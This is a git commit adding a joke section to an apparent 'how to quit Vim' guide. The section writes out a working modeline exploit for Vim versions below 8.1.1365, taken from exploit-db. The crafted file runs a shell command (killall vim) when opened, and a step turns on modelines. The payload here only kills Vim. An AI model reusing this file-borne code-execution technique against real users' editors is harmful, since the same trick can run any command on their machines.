Add The Arbitrary Code Execution Way

This commit is contained in:
Hikaru Terazono (3c1u) 2020-01-14 08:18:13 +09:00
parent 58e647a30c
commit b0ae82d18f
No known key found for this signature in database
GPG key ID: C6E1470A35831E01

View file

@ -639,3 +639,20 @@ ssh -i <ec2 keypair pem location> ec2-user@<ec2 instance ip address>
vim
```
5. In the AWS EC2, select the newly created EC2 instance and terminate the instance.
## The Arbitrary Code Execution Way
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data:
```
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
```
2. Ensure that the modeline option has not been disabled.
```
echo "set modeline" >> .vimrc
```
3. Open `quit.txt`.
```
:e! quit.txt
```